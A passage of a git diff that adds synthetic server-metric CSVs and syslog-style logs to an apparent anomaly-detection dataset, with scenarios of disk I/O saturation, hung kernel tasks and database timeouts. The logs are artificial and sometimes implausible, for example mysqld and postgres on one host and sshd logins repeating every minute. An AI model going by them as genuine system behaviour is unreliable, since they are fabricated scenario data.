kernel: [112345.680] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Aug 24 10:05:30 app-server[3210]: CRITICAL: Application health check failed: Cannot access required file /data/app.lock +Aug 24 10:06:00 nginx[2233]: GET /api/data HTTP/1.1 503 Service Unavailable +Aug 24 10:06:35 systemd[1]: backup.service: Watchdog timeout (limit 3min)! +Aug 24 10:07:15 mariadbd[1234]: ERROR: [InnoDB] Failed to flush buffer pool pages: I/O error diff --git a/anom_dataset/scenario_4/anom_4_21.csv b/anom_dataset/scenario_4/anom_4_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..a2bc09bb3f008e5c4614dd5fc44ece5b70df6805 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,11.1,41.31,28.02,1.07,0.76 +2025-07-02T11:00:05Z,15.91,40.06,30.33,0.98,1.28 +2025-07-02T11:00:10Z,16.0,42.42,30.29,0.76,1.36 +2025-07-02T11:00:15Z,13.19,36.89,30.83,1.21,1.42 +2025-07-02T11:00:20Z,14.85,40.8,33.38,1.21,1.89 +2025-07-02T11:00:25Z,16.81,41.38,32.42,0.81,1.11 +2025-07-02T11:00:30Z,18.47,38.29,31.72,1.08,1.31 +2025-07-02T11:00:35Z,15.24,37.61,29.55,1.15,1.31 +2025-07-02T11:00:40Z,18.79,41.92,39.51,0.99,1.17 +2025-07-02T11:00:45Z,13.05,38.04,28.45,0.82,1.62 +2025-07-02T11:00:50Z,10.16,39.07,24.45,0.84,1.64 +2025-07-02T11:00:55Z,14.29,39.43,44.65,1.02,1.29 +2025-07-02T11:01:00Z,20.44,39.78,37.76,1.2,1.09 +2025-07-02T11:01:05Z,19.07,37.56,32.37,0.98,0.74 +2025-07-02T11:01:10Z,11.7,36.9,28.94,0.7,1.51 +2025-07-02T11:01:15Z,15.86,36.91,28.43,0.89,0.87 +2025-07-02T11:01:20Z,8.51,39.54,22.81,0.88,1.02 +2025-07-02T11:01:25Z,14.54,39.38,35.37,0.87,1.16 +2025-07-02T11:01:30Z,14.44,40.19,29.36,1.11,1.09 +2025-07-02T11:01:35Z,16.9,42.17,30.29,0.93,1.74 +2025-07-02T11:01:40Z,14.36,36.78,25.61,0.82,1.36 +2025-07-02T11:01:45Z,12.93,42.33,28.66,0.99,1.69 +2025-07-02T11:01:50Z,16.95,39.95,28.01,0.74,1.54 +2025-07-02T11:01:55Z,16.77,39.41,31.17,0.9,1.75 +2025-07-02T11:02:00Z,12.59,39.39,34.26,0.95,2.0 +2025-07-02T11:02:05Z,13.1,37.84,37.69,0.74,1.43 +2025-07-02T11:02:10Z,16.38,38.87,17.37,0.74,1.15 +2025-07-02T11:02:15Z,16.02,38.36,30.34,0.77,1.26 +2025-07-02T11:02:20Z,13.39,36.16,30.81,1.37,1.67 +2025-07-02T11:02:25Z,17.64,39.69,30.12,1.15,1.18 +2025-07-02T11:02:30Z,27.42,39.05,190.22,0.25,0.2 +2025-07-02T11:02:35Z,19.1,37.76,191.59,0.41,0.37 +2025-07-02T11:02:40Z,15.11,39.77,151.44,0.34,0.17 +2025-07-02T11:02:45Z,32.51,43.03,176.11,0.42,0.3 +2025-07-02T11:02:50Z,27.56,42.02,183.46,0.07,0.49 +2025-07-02T11:02:55Z,42.39,40.46,167.58,0.36,0.34 +2025-07-02T11:03:00Z,31.77,39.41,172.98,0.32,0.34 +2025-07-02T11:03:05Z,39.97,38.51,198.4,0.28,0.54 +2025-07-02T11:03:10Z,27.79,40.75,164.14,0.37,0.49 +2025-07-02T11:03:15Z,32.01,38.74,174.22,0.3,0.58 +2025-07-02T11:03:20Z,35.17,38.25,179.14,0.36,0.36 +2025-07-02T11:03:25Z,33.35,39.89,165.25,0.21,0.48 +2025-07-02T11:03:30Z,40.83,40.15,179.5,0.23,0.6 +2025-07-02T11:03:35Z,36.36,39.0,171.37,0.24,0.24 +2025-07-02T11:03:40Z,23.09,39.37,197.63,0.21,0.53 +2025-07-02T11:03:45Z,26.73,39.16,173.97,0.43,0.39 +2025-07-02T11:03:50Z,36.14,43.74,192.17,0.35,0.36 +2025-07-02T11:03:55Z,43.75,40.92,181.13,0.23,0.56 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+2025-07-02T11:07:10Z,13.1,40.48,207.25,0.25,0.37 +2025-07-02T11:07:15Z,12.38,42.35,182.34,0.3,0.37 +2025-07-02T11:07:20Z,12.45,39.95,168.65,0.39,0.68 +2025-07-02T11:07:25Z,14.99,39.57,191.33,0.29,0.53 diff --git a/anom_dataset/scenario_4/anom_4_21.log b/anom_dataset/scenario_4/anom_4_21.log new file mode 100644 index 0000000000000000000000000000000000000000..7077896177321c1054ba332caff11af7bd55bd2f --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_21.log @@ -0,0 +1,12 @@ +Jul 02 11:00:10 sshd[8832]: Accepted publickey for user admin from 10.0.1.5 port 49152 ssh2 +Jul 02 11:00:25 systemd[1]: Starting Clean php session files... +Jul 02 11:01:00 CRON[9123]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 11:02:05 kubelet[1234]: INFO: Successfully probed container user-db +Jul 02 11:02:40 app-server[5432]: WARNING: High latency detected for disk write operation on /var/data/user_uploads +Jul 02 11:03:05 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:04:35 kernel: [18442.531043] INFO: task java:1152 blocked for more than 120 seconds. +Jul 02 11:04:35 kernel: [18442.531049] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 02 11:05:00 CRON[9876]: (ubuntu) CMD (/home/ubuntu/backup.sh) +Jul 02 11:05:20 database[3102]: ERROR: query on "user_transactions" table timed out after 15000ms +Jul 02 11:06:40 api-gateway[7754]: WARN: Upstream service data-processor is not responding, request timed out. +Jul 02 11:07:20 systemd[1]: Started Daily apt upgrade and clean activities. diff --git a/anom_dataset/scenario_4/anom_4_22.csv b/anom_dataset/scenario_4/anom_4_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..9467b1c961c9fdc0302c19806a9bdcf8e8d73fb7 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,26.58,40.42,33.8,1.43,1.2 +2025-07-02T10:00:05Z,22.5,39.15,20.12,0.89,1.31 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+2025-07-02T10:06:50Z,20.24,40.87,60.98,0.91,0.86 +2025-07-02T10:06:55Z,20.11,38.05,52.04,1.04,1.0 +2025-07-02T10:07:00Z,20.02,39.31,43.05,0.88,1.19 +2025-07-02T10:07:05Z,20.01,40.73,36.05,1.11,1.22 +2025-07-02T10:07:10Z,20.0,38.22,38.16,1.27,1.18 +2025-07-02T10:07:15Z,20.0,38.36,45.81,1.17,1.24 +2025-07-02T10:07:20Z,20.0,41.95,43.24,1.16,1.36 +2025-07-02T10:07:25Z,20.0,38.97,25.0,1.39,1.18 diff --git a/anom_dataset/scenario_4/anom_4_22.log b/anom_dataset/scenario_4/anom_4_22.log new file mode 100644 index 0000000000000000000000000000000000000000..14bec69c874bb008b31f1a4488b43a412d9fd234 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_22.log @@ -0,0 +1,30 @@ +Jul 02 09:59:58 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 09:59:59 CRON[1800]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:00:27 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:59 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:12 CRON[1815]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:01:28 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:57 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:03 systemd[1]: Starting Daily Backup Service... +Jul 02 10:02:04 backup.sh[19876]: INFO Starting daily backup of /var/lib/mysql to /mnt/backup_device +Jul 02 10:02:29 CRON[1830]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:02:29 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:59 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:19 mysqld[1122]: WARN InnoDB: A long semaphore wait:--Thread 14051528... has waited at ... for 68.00 seconds the semaphore: +Jul 02 10:03:19 mysqld[1122]: WARN Query execution was slow: 25.32 seconds, 'SELECT * FROM large_table' +Jul 02 10:03:29 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:42 CRON[1845]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:03:59 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:28 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:32 kernel: [12345.6789] INFO: task mysqld:1122 blocked for more than 120 seconds. +Jul 02 10:04:32 kernel: [12345.6795] Tainted: G O 5.4.0-100-generic #113-Ubuntu +Jul 02 10:04:32 kernel: [12345.6800] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 02 10:04:57 CRON[1860]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:04:59 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:28 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:38 backup.sh[19876]: INFO Daily backup completed successfully. +Jul 02 10:05:39 systemd[1]: daily-backup.service: Succeeded. +Jul 02 10:05:59 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:14 CRON[1875]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 10:06:27 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:58 kubelet[2345]: INFO routine sync completed for pod web-app diff --git a/anom_dataset/scenario_4/anom_4_23.csv b/anom_dataset/scenario_4/anom_4_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..c04e584c9470693a13e32075876e1140c7d8a17e --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-25T16:00:00Z,17.68,44.19,21.49,1.36,1.31 +2025-08-25T16:00:05Z,18.84,40.62,28.28,1.42,1.72 +2025-08-25T16:00:10Z,16.7,41.08,20.46,0.86,1.09 +2025-08-25T16:00:15Z,20.53,43.88,32.58,1.25,1.02 +2025-08-25T16:00:20Z,17.27,43.37,35.67,1.06,1.02 +2025-08-25T16:00:25Z,15.37,42.64,31.3,1.02,1.41 +2025-08-25T16:00:30Z,24.23,44.64,20.66,1.48,1.59 +2025-08-25T16:00:35Z,17.43,44.46,26.15,1.13,1.46 +2025-08-25T16:00:40Z,19.52,41.54,36.22,0.86,1.46 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+2025-08-25T16:07:25Z,20.23,43.57,33.31,1.22,1.12 diff --git a/anom_dataset/scenario_4/anom_4_23.log b/anom_dataset/scenario_4/anom_4_23.log new file mode 100644 index 0000000000000000000000000000000000000000..1c07185fdae884038b81d5f4243f71668224fd6a --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_23.log @@ -0,0 +1,16 @@ +Aug 25 16:00:00 kubelet[2045]: INFO routine sync completed for pod db-app-1 +Aug 25 16:00:00 web-server[1120]: GET /health HTTP/1.1 200 OK +Aug 25 16:00:05 systemd[1]: Started Session 1 of user service-account. +Aug 25 16:00:15 cron[3102]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 16:00:50 kernel: [112.345] NET: Registered protocol family 10 +Aug 25 16:01:15 web-server[1120]: GET /health HTTP/1.1 200 OK +Aug 25 16:02:05 kubelet[2045]: INFO routine sync completed for pod db-app-1 +Aug 25 16:02:40 db-app[4501]: WARN: Database query taking longer than 3000ms: SELECT data FROM large_table WHERE id=... +Aug 25 16:03:10 db-app[4501]: WARN: Filesystem operation on /data/db is slow. +Aug 25 16:04:10 kubelet[2045]: INFO routine sync completed for pod db-app-1 +Aug 25 16:04:30 kernel: [450.123] INFO: task db-app:4501 blocked for more than 120 seconds. +Aug 25 16:04:30 kernel: [450.124] Tainted: G W 5.4.0-100-generic #113-Ubuntu +Aug 25 16:04:30 kernel: [450.125] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Aug 25 16:05:25 db-app[4501]: ERROR: Timeout while trying to write to transaction log /data/db/wal/0001.log +Aug 25 16:06:15 kubelet[2045]: INFO routine sync completed for pod db-app-1 +Aug 25 16:06:40 kernel: [570.888] INFO: task backup.sh:5102 blocked for more than 120 seconds. diff --git a/anom_dataset/scenario_4/anom_4_24.csv b/anom_dataset/scenario_4/anom_4_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..08ad2685fbfa2209f1b882dfc2de1c84cd1f5938 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-02T11:06:40Z,90.1,41.98,98.55,0.25,0.26 +2025-07-02T11:06:45Z,85.65,38.25,96.14,0.22,0.67 +2025-07-02T11:06:50Z,83.64,38.88,98.19,0.36,0.61 +2025-07-02T11:06:55Z,85.82,45.74,98.98,0.37,0.32 +2025-07-02T11:07:00Z,86.39,36.3,97.5,0.44,0.54 +2025-07-02T11:07:05Z,83.24,41.37,97.63,0.12,0.33 +2025-07-02T11:07:10Z,84.03,39.79,99.01,0.37,0.3 +2025-07-02T11:07:15Z,93.24,40.3,96.32,0.3,0.41 +2025-07-02T11:07:20Z,95.0,43.2,95.75,0.16,0.32 +2025-07-02T11:07:25Z,94.0,39.39,98.48,0.23,0.53 diff --git a/anom_dataset/scenario_4/anom_4_24.log b/anom_dataset/scenario_4/anom_4_24.log new file mode 100644 index 0000000000000000000000000000000000000000..33fb037ab6c6c3f59997e5267d554ce99551b203 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_24.log @@ -0,0 +1,34 @@ +Jul 02 11:00:00 systemd[1]: Starting daily cleanup of /tmp. +Jul 02 11:00:00 CRON[10234]: (root) CMD ( run-parts --report /etc/cron.hourly) +Jul 02 11:00:00 sshd[20345]: Accepted publickey for user admin from 10.0.2.15 port 45822 ssh2 +Jul 02 11:00:35 CRON[17234]: (root) CMD ( run-parts --report /etc/cron.hourly) +Jul 02 11:00:50 systemd[1]: Starting daily cleanup of /tmp. +Jul 02 11:01:10 CRON[114234]: (root) CMD ( run-parts --report /etc/cron.hourly) +Jul 02 11:01:15 sshd[215345]: Accepted publickey for user admin from 10.0.2.15 port 45822 ssh2 +Jul 02 11:01:40 systemd[1]: Starting daily cleanup of /tmp. +Jul 02 11:01:45 CRON[121234]: (root) CMD ( run-parts --report /etc/cron.hourly) +Jul 02 11:02:20 CRON[128234]: (root) CMD ( run-parts --report /etc/cron.hourly) +Jul 02 11:02:30 systemd[1]: Starting daily cleanup of /tmp. +Jul 02 11:02:30 sshd[230345]: Accepted publickey for user admin from 10.0.2.15 port 45822 ssh2 +Jul 02 11:02:40 postgres[4567]: WARNING: query on 'sales_data' table is taking longer than 15 seconds. +Jul 02 11:02:55 CRON[135234]: (root) CMD ( run-parts --report /etc/cron.hourly) +Jul 02 11:03:00 app-worker[8891]: ERROR: Timeout while writing results to /var/data/results.dat +Jul 02 11:03:20 systemd[1]: Starting daily cleanup of /tmp. +Jul 02 11:03:20 postgres[4568]: WARNING: long transaction lock detected on 'inventory' table. +Jul 02 11:03:30 CRON[142234]: (root) CMD ( run-parts --report /etc/cron.hourly) +Jul 02 11:03:45 sshd[245345]: Accepted publickey for user admin from 10.0.2.15 port 45822 ssh2 +Jul 02 11:04:05 CRON[149234]: (root) CMD ( run-parts --report /etc/cron.hourly) +Jul 02 11:04:10 systemd[1]: Starting daily cleanup of /tmp. +Jul 02 11:04:40 CRON[156234]: (root) CMD ( run-parts --report /etc/cron.hourly) +Jul 02 11:05:00 systemd[1]: Starting daily cleanup of /tmp. +Jul 02 11:05:00 sshd[260345]: Accepted publickey for user admin from 10.0.2.15 port 45822 ssh2 +Jul 02 11:05:00 kernel: [18245.13458] INFO: task postgres:4567 blocked for more than 120 seconds. +Jul 02 11:05:10 kernel: [18255.45211] Not tainted 5.4.0-109-generic #123-Ubuntu +Jul 02 11:05:15 CRON[163234]: (root) CMD ( run-parts --report /etc/cron.hourly) +Jul 02 11:05:20 kernel: [18265.98765] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 02 11:05:50 systemd[1]: Starting daily cleanup of /tmp. +Jul 02 11:05:50 CRON[170234]: (root) CMD ( run-parts --report /etc/cron.hourly) +Jul 02 11:06:15 sshd[275345]: Accepted publickey for user admin from 10.0.2.15 port 45822 ssh2 +Jul 02 11:06:25 CRON[177234]: (root) CMD ( run-parts --report /etc/cron.hourly) +Jul 02 11:06:40 systemd[1]: Starting daily cleanup of /tmp. +Jul 02 11:07:00 CRON[184234]: (root) CMD ( run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_4/anom_4_25.csv b/anom_dataset/scenario_4/anom_4_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..8ae7aaaa36477775f43561d54eda979e09c0b646 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,26.58442995932494,44.70049684649782,33.93983553610995,1.4741216630374683,1.4429328000454835 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+2025-07-02T10:07:25Z,29.28715984314878,39.44939041652965,32.27753951559373,1.4323861634391686,1.0538363519362244 diff --git a/anom_dataset/scenario_4/anom_4_25.log b/anom_dataset/scenario_4/anom_4_25.log new file mode 100644 index 0000000000000000000000000000000000000000..d50ba6e41ecf56f377136a8d77d5584f041bf920 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_25.log @@ -0,0 +1,36 @@ +Jul 02 10:00:00 systemd[1]: Starting Daily apt download activities... +Jul 02 10:00:05 cron[200]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:00:10 sshd[450]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 02 10:00:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:00:25 systemd[1]: Finished Daily apt download activities. +Jul 02 10:00:55 cron[1200]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:15 systemd[1]: Starting Daily apt download activities... +Jul 02 10:01:40 systemd[1]: Finished Daily apt download activities. +Jul 02 10:01:45 cron[2200]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:50 sshd[3450]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 02 10:02:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:02:30 systemd[1]: Starting Daily apt download activities... +Jul 02 10:02:35 cron[3200]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:02:55 app-db[4512]: WARNING Slow query detected: SELECT * FROM user_activity WHERE timestamp > '2025-07-02 09:00:00'; duration: 15.2s +Jul 02 10:02:55 systemd[1]: Finished Daily apt download activities. +Jul 02 10:03:25 cron[4200]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:03:30 sshd[6450]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 02 10:03:45 systemd[1]: Starting Daily apt download activities... +Jul 02 10:04:10 kernel: [12345.678] INFO: task kworker/0:1:123 blocked for more than 120 seconds. +Jul 02 10:04:10 kernel: [12345.679] Not tainted 5.4.0-100-generic #113-Ubuntu +Jul 02 10:04:10 kernel: [12345.680] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 02 10:04:10 systemd[1]: Finished Daily apt download activities. +Jul 02 10:04:15 cron[5200]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:04:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:04:35 api-server[8891]: ERROR Request timeout: POST /api/v1/data failed to write to disk after 30s. +Jul 02 10:05:00 systemd[1]: Starting Daily apt download activities... +Jul 02 10:05:05 cron[6200]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:05:10 sshd[9450]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 02 10:05:25 kernel: [12485.111] INFO: task mysqld:4512 blocked for more than 120 seconds. +Jul 02 10:05:25 systemd[1]: Finished Daily apt download activities. +Jul 02 10:05:55 cron[7200]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:06:15 systemd[1]: Starting Daily apt download activities... +Jul 02 10:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:06:40 systemd[1]: Finished Daily apt download activities. +Jul 02 10:06:45 cron[8200]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:06:50 sshd[12450]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 diff --git a/anom_dataset/scenario_4/anom_4_26.csv b/anom_dataset/scenario_4/anom_4_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..bd06002df8010a9c449ff9b18fb5af7e40dc4dc2 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,21.58,41.04,33.8,1.41,1.33 +2025-07-02T10:00:05Z,17.5,37.86,20.12,0.62,1.5 +2025-07-02T10:00:10Z,16.64,38.64,29.44,1.39,1.21 +2025-07-02T10:00:15Z,12.77,41.99,29.29,1.31,1.18 +2025-07-02T10:00:20Z,21.45,42.64,22.4,0.77,1.54 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+2025-07-02T10:07:05Z,19.11,40.22,36.54,0.6,0.96 +2025-07-02T10:07:10Z,25.8,43.51,40.97,1.01,1.34 +2025-07-02T10:07:15Z,28.37,41.03,44.23,1.57,1.29 +2025-07-02T10:07:20Z,26.76,37.42,41.75,0.8,1.62 +2025-07-02T10:07:25Z,17.57,44.85,42.02,0.83,0.93 diff --git a/anom_dataset/scenario_4/anom_4_26.log b/anom_dataset/scenario_4/anom_4_26.log new file mode 100644 index 0000000000000000000000000000000000000000..a24768d0d10e8ffb2c2b3ce4fc30f438a746a368 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_26.log @@ -0,0 +1,15 @@ +Jul 02 10:00:02 kernel: [ 2.1345] usb 1-1: new high-speed USB device number 2 using xhci_hcd +Jul 02 10:00:15 systemd[1]: Started Session 1 for user db_admin. +Jul 02 10:01:05 sshd[1205]: Accepted password for db_admin from 10.0.2.5 port 51234 ssh2 +Jul 02 10:02:10 CRON[1250]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 10:02:35 mysqld[1024]: INFO: Starting database backup process... +Jul 02 10:02:40 app-server[1130]: INFO: User 'testuser' requested large data export. +Jul 02 10:03:55 kernel: [ 235.1024] INFO: task mysqld:1024 blocked for more than 120 seconds. +Jul 02 10:04:00 kernel: [ 240.1033] Tainted: G O 5.4.0-100-generic #113-Ubuntu +Jul 02 10:04:05 kernel: [ 245.1042] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 02 10:04:10 mysqld[1024]: WARNING: SLOW QUERY: SELECT * FROM user_activity WHERE date > '2025-01-01' took 125.43 seconds. +Jul 02 10:04:45 app-server[1130]: ERROR: Database query timed out after 120 seconds. +Jul 02 10:05:01 CRON[1301]: (root) CMD ( /etc/cron.daily/logrotate) +Jul 02 10:05:55 app-server[1130]: INFO: Health check endpoint /health returned 200 OK. +Jul 02 10:06:50 mysqld[1024]: INFO: Database backup process completed. +Jul 02 10:07:00 systemd[1]: systemd-logind.service: Succeeded. diff --git a/anom_dataset/scenario_4/anom_4_27.csv b/anom_dataset/scenario_4/anom_4_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..5a2a41a2672ac397e15e8ab62c929b03b1211b40 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:20:00Z,16.747238124364912,43.16118307825135,36.70900984863674,1.2744630919655122,0.9585855153506855 +2025-07-15T14:20:05Z,17.954767658161444,43.26516239937743,26.751383917361657,1.2462612105482225,1.5538590576518536 +2025-07-15T14:20:10Z,25.863631593585687,45.181455457616714,34.0949688492139,0.9504537522553502,1.4850949814434824 +2025-07-15T14:20:15Z,29.332518614743073,43.94182850863219,39.33360613835113,1.2830141879845656,1.402517431270211 +2025-07-15T14:20:20Z,22.215500786174342,42.579962084176,38.947664966312836,0.95032484477026,1.2484322283583653 +2025-07-15T14:20:25Z,21.781396127243383,42.026603647918186,34.198879115575814,0.8445565281482902,1.2893457343378234 +2025-07-15T14:20:30Z,29.149550200832387,42.1245535552693,35.032102803677574,1.0536185069620048,1.755404417319569 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+2025-07-15T14:27:15Z,22.32700784938865,41.199215965085955,47.97679500846309,1.02942189052613,1.452465183531055 +2025-07-15T14:27:20Z,30.633162733893826,43.862272611217065,35.99236132822014,1.186453606212875,0.8479334635399481 +2025-07-15T14:27:25Z,21.039965593649068,45.18069617174082,39.821704192601906,1.1411664699099613,1.1573599965931245 diff --git a/anom_dataset/scenario_4/anom_4_27.log b/anom_dataset/scenario_4/anom_4_27.log new file mode 100644 index 0000000000000000000000000000000000000000..0bb0939424a0ae8f0d77645e69a5ccf0e73f967e --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_27.log @@ -0,0 +1,13 @@ +Jul 15 14:20:12 systemd[1]: Started Session 5 of user db_admin. +Jul 15 14:20:45 cron[3102]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:21:50 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.1.5 DST=10.0.1.2 ... +Jul 15 14:22:40 app-db[1523]: WARN a database query is taking longer than expected (> 5s) +Jul 15 14:23:05 app-db[1523]: WARN file write operation to '/var/lib/mysql/data.ibd' is slow +Jul 15 14:24:00 app-server[1198]: ERROR upstream request to db timed out after 30 seconds +Jul 15 14:24:35 kernel: INFO: task mysqld:1523 blocked for more than 120 seconds. +Jul 15 14:24:35 kernel: "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 15 14:24:40 app-db[1523]: ERROR Connection pool exhausted. Could not create new connection for the application. +Jul 15 14:25:30 app-db[1523]: WARN a database query is taking longer than expected (> 5s) +Jul 15 14:26:00 sshd[4102]: Accepted publickey for user admin from 192.168.2.10 port 49152 +Jul 15 14:27:10 systemd[1]: Starting Cleanup of Temporary Directories... +Jul 15 14:27:15 systemd[1]: Finished Cleanup of Temporary Directories. diff --git a/anom_dataset/scenario_4/anom_4_28.csv b/anom_dataset/scenario_4/anom_4_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..1e20c65977989191e303b04fabb3a10bd6225f08 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,16.75,36.97,34.48,1.46,0.98 +2025-07-02T10:00:05Z,21.78,44.43,33.83,1.15,1.22 +2025-07-02T10:00:10Z,23.33,43.57,30.26,1.18,0.95 +2025-07-02T10:00:15Z,27.62,44.97,20.39,0.54,0.91 +2025-07-02T10:00:20Z,25.28,36.26,20.18,0.64,1.38 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+2025-07-02T10:07:05Z,81.63,36.41,98.99,0.23,0.43 +2025-07-02T10:07:10Z,83.95,45.32,99.65,0.24,0.45 +2025-07-02T10:07:15Z,78.64,42.73,95.19,0.35,0.43 +2025-07-02T10:07:20Z,69.26,41.28,98.39,0.47,0.25 +2025-07-02T10:07:25Z,83.97,36.36,99.74,0.48,0.26 diff --git a/anom_dataset/scenario_4/anom_4_28.log b/anom_dataset/scenario_4/anom_4_28.log new file mode 100644 index 0000000000000000000000000000000000000000..0c2af6f671ef3a1ca24df7a1068cbc30d615e6ea --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_28.log @@ -0,0 +1,19 @@ +Jul 02 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app-0 +Jul 02 10:00:25 kubelet[2345]: INFO routine sync completed for pod web-app-5 +Jul 02 10:00:50 kubelet[2345]: INFO routine sync completed for pod web-app-10 +Jul 02 10:00:50 systemd[1]: Starting Daily apt download activities... +Jul 02 10:01:15 kubelet[2345]: INFO routine sync completed for pod web-app-15 +Jul 02 10:01:15 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:01:40 kubelet[2345]: INFO routine sync completed for pod web-app-20 +Jul 02 10:02:05 kubelet[2345]: INFO routine sync completed for pod web-app-25 +Jul 02 10:02:30 kubelet[2345]: INFO Liveness probe for container 'database' failed: command timed out. +Jul 02 10:02:55 postgres[5432]: WARNING: query on table 'user_events' is taking longer than 15 seconds +Jul 02 10:03:20 kubelet[2345]: INFO Liveness probe for container 'database' failed: command timed out. +Jul 02 10:03:45 app-server[8080]: ERROR: Timeout while writing user session to disk: /data/sessions/session_45.dat +Jul 02 10:04:10 kubelet[2345]: INFO Liveness probe for container 'database' failed: command timed out. +Jul 02 10:05:00 kernel: [12345.678] INFO: task mysqld:888 blocked for more than 120 seconds. +Jul 02 10:05:00 kernel: [12345.679] Tainted: P O 4.15.0-142-generic #146-Ubuntu +Jul 02 10:05:00 kubelet[2345]: INFO Liveness probe for container 'database' failed: command timed out. +Jul 02 10:05:50 kubelet[2345]: INFO Liveness probe for container 'database' failed: command timed out. +Jul 02 10:06:15 postgres[5432]: CRITICAL: database performance severely degraded due to high I/O wait. +Jul 02 